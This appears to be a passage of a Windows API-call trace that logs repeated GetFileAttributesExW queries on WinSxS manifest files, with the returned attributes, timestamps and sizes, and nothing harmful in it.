	[0107.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ko-kr_1b637ee56cb9487d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ko-kr_1b637ee56cb9487d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f00a8 | out: lpFileInformation=0x128f00a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4725d140, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x4725d140, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x472a9400, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.472] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lt-lt_bf2eaae65ee1141a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lt-lt_bf2eaae65ee1141a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f00f8 | out: lpFileInformation=0x128f00f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c3b81b, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x76c3b81b, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x76cadc3c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.473] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lv-lv_bffc196a5e5f550a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_lv-lv_bffc196a5e5f550a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0148 | out: lpFileInformation=0x128f0148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x764a51ed, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x764a51ed, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x764cb34d, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.473] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_nb-no_03f6001a44de7439.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_nb-no_03f6001a44de7439.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0198 | out: lpFileInformation=0x128f0198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x786448eb, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x786448eb, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x78702fcc, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.473] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_nl-nl_02354b58460a7e0e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_nl-nl_02354b58460a7e0e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f01e8 | out: lpFileInformation=0x128f01e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810a08aa, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x810a08aa, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x810ecb6a, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.474] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_pl-pl_4871a5da2b2cebc2.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_pl-pl_4871a5da2b2cebc2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0238 | out: lpFileInformation=0x128f0238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1e68a6, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6a1e68a6, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6a232b67, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.474] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_pt-br_4ac5907e29b67fa6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_pt-br_4ac5907e29b67fa6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0288 | out: lpFileInformation=0x128f0288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1d5825, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5e1d5825, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5e1fb985, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.474] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_pt-pt_4ba75fea2925ef82.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_pt-pt_4ba75fea2925ef82.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f02d8 | out: lpFileInformation=0x128f02d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c70e073, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5c70e073, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5c7341d4, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.474] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ro-ro_8fe226220f8cbade.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ro-ro_8fe226220f8cbade.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0328 | out: lpFileInformation=0x128f0328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7feec4e9, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7feec4e9, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7ff12649, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.475] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ru-ru_924a71ae0e077dae.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_ru-ru_924a71ae0e077dae.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0378 | out: lpFileInformation=0x128f0378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e2b236, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x60e2b236, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x60ee9918, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.475] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_sk-sk_3165765b03216fd8.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_sk-sk_3165765b03216fd8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f03c8 | out: lpFileInformation=0x128f03c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c677a70, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x9c677a70, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x9c7a8572, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.475] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_sl-si_3077981303bb82bb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_sl-si_3077981303bb82bb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0418 | out: lpFileInformation=0x128f0418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49c776ad, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x49c776ad, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x49c9d80e, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.475] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_sr-..-cs_d00114a57d13e603.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_sr-..-cs_d00114a57d13e603.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0468 | out: lpFileInformation=0x128f0468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x755ea9b2, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x755ea9b2, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x75610b12, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbe4)) returned 1
	[0107.476] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_sv-se_2e455c2305308809.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_sv-se_2e455c2305308809.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f04b8 | out: lpFileInformation=0x128f04b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d76d74f, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x9d76d74f, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x9d805cd1, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.476] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_th-th_d34f7dd5f675454a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_th-th_d34f7dd5f675454a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0508 | out: lpFileInformation=0x128f0508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cb1c5d2, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6cb1c5d2, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6cb42733, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.476] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_tr-tr_d752a669f3ec89fa.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_tr-tr_d752a669f3ec89fa.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0558 | out: lpFileInformation=0x128f0558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b6ba94d, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6b6ba94d, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6b6e0aad, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.477] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_uk-ua_73328910eb1db046.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_uk-ua_73328910eb1db046.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f05a8 | out: lpFileInformation=0x128f05a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6806d309, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6806d309, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x68093469, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.477] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_zh-cn_a8afc467a4245c19.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_zh-cn_a8afc467a4245c19.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f05f8 | out: lpFileInformation=0x128f05f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee54bbc, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5ee54bbc, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5eea0e7c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.477] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_zh-tw_acac01bda1953889.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..er-engine.resources_31bf3856ad364e35_6.1.7601.17514_zh-tw_acac01bda1953889.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0648 | out: lpFileInformation=0x128f0648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c1ff1aa, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5c1ff1aa, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5c22530a, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0)) returned 1
	[0107.477] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ersandsecurityzones_31bf3856ad364e35_8.0.7601.17514_none_d1a4c8feac0dfcdb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ersandsecurityzones_31bf3856ad364e35_8.0.7601.17514_none_d1a4c8feac0dfcdb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0698 | out: lpFileInformation=0x128f0698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcae058, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6bcae058, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6bd465d9, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x3f5ac)) returned 1
	[0107.478] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..escriptdetectiondll_31bf3856ad364e35_6.1.7600.16385_none_22c2050af8e2b32b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..escriptdetectiondll_31bf3856ad364e35_6.1.7600.16385_none_22c2050af8e2b32b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f06e8 | out: lpFileInformation=0x128f06e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb18846, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8bb18846, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x1aff097b, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x852)) returned 1
	[0107.478] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..favorites.resources_31bf3856ad364e35_8.0.7600.16385_en-us_ab8ddd153cf1aebc.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..favorites.resources_31bf3856ad364e35_8.0.7600.16385_en-us_ab8ddd153cf1aebc.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0738 | out: lpFileInformation=0x128f0738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea16731, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea3c9ea, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x864)) returned 1
	[0107.478] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..filercore.resources_31bf3856ad364e35_8.0.7600.16385_en-us_7e18ef0fcc81e2fd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..filercore.resources_31bf3856ad364e35_8.0.7600.16385_en-us_7e18ef0fcc81e2fd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0788 | out: lpFileInformation=0x128f0788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea62ca3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea62ca3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x865)) returned 1
	[0107.478] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..g-service-rpcclient_31bf3856ad364e35_6.1.7600.16385_none_df74e0d346caacf4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..g-service-rpcclient_31bf3856ad364e35_6.1.7600.16385_none_df74e0d346caacf4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f07d8 | out: lpFileInformation=0x128f07d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8136e7db, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8136e7db, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3cd9f4ae, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x6f5)) returned 1
	[0107.479] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..hinese-imepadapplet_31bf3856ad364e35_6.1.7600.16385_none_faff6acb5cd29b45.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..hinese-imepadapplet_31bf3856ad364e35_6.1.7600.16385_none_faff6acb5cd29b45.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0828 | out: lpFileInformation=0x128f0828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bb489f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc0c2a70, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x941b3706, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x3709)) returned 1
	[0107.479] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ice-transliteration_31bf3856ad364e35_6.1.7601.17514_none_5ab4693b850fe104.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ice-transliteration_31bf3856ad364e35_6.1.7601.17514_none_5ab4693b850fe104.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0878 | out: lpFileInformation=0x128f0878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81e50743, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x81e50743, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x81e768a3, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x837)) returned 1
	[0107.479] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ingconfig.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6ae8dba947450861.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ingconfig.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6ae8dba947450861.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f08c8 | out: lpFileInformation=0x128f08c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a89941, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf1a89941, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x87e)) returned 1
	[0107.479] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1026_31bf3856ad364e35_6.1.7600.16385_none_23b685976a7d2b22.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1026_31bf3856ad364e35_6.1.7600.16385_none_23b685976a7d2b22.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0918 | out: lpFileInformation=0x128f0918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8639e6aa, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8639e6aa, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2414a50a, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x942)) returned 1
	[0107.480] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1047_31bf3856ad364e35_6.1.7600.16385_none_2427df356a3462eb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1047_31bf3856ad364e35_6.1.7600.16385_none_2427df356a3462eb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0968 | out: lpFileInformation=0x128f0968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f39100, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f39100, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x972f11cf, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x946)) returned 1
	[0107.480] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1140_31bf3856ad364e35_6.1.7600.16385_none_210e2d3d6c325c91.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1140_31bf3856ad364e35_6.1.7600.16385_none_210e2d3d6c325c91.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f09b8 | out: lpFileInformation=0x128f09b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f5f25d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f5f25d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x665e3391, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x94e)) returned 1
	[0107.480] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1141_31bf3856ad364e35_6.1.7600.16385_none_217fb46b6be96118.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1141_31bf3856ad364e35_6.1.7600.16385_none_217fb46b6be96118.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0a08 | out: lpFileInformation=0x128f0a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f5f25d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f5f25d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x652b22b2, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x94c)) returned 1
	[0107.480] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1142_31bf3856ad364e35_6.1.7600.16385_none_21f13b996ba0659f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1142_31bf3856ad364e35_6.1.7600.16385_none_21f13b996ba0659f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0a58 | out: lpFileInformation=0x128f0a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f5f25d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f5f25d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8c9efc3f, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x95a)) returned 1
	[0107.481] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1143_31bf3856ad364e35_6.1.7600.16385_none_2262c2c76b576a26.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1143_31bf3856ad364e35_6.1.7600.16385_none_2262c2c76b576a26.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0aa8 | out: lpFileInformation=0x128f0aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f853ba, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f853ba, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x93156034, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x95a)) returned 1
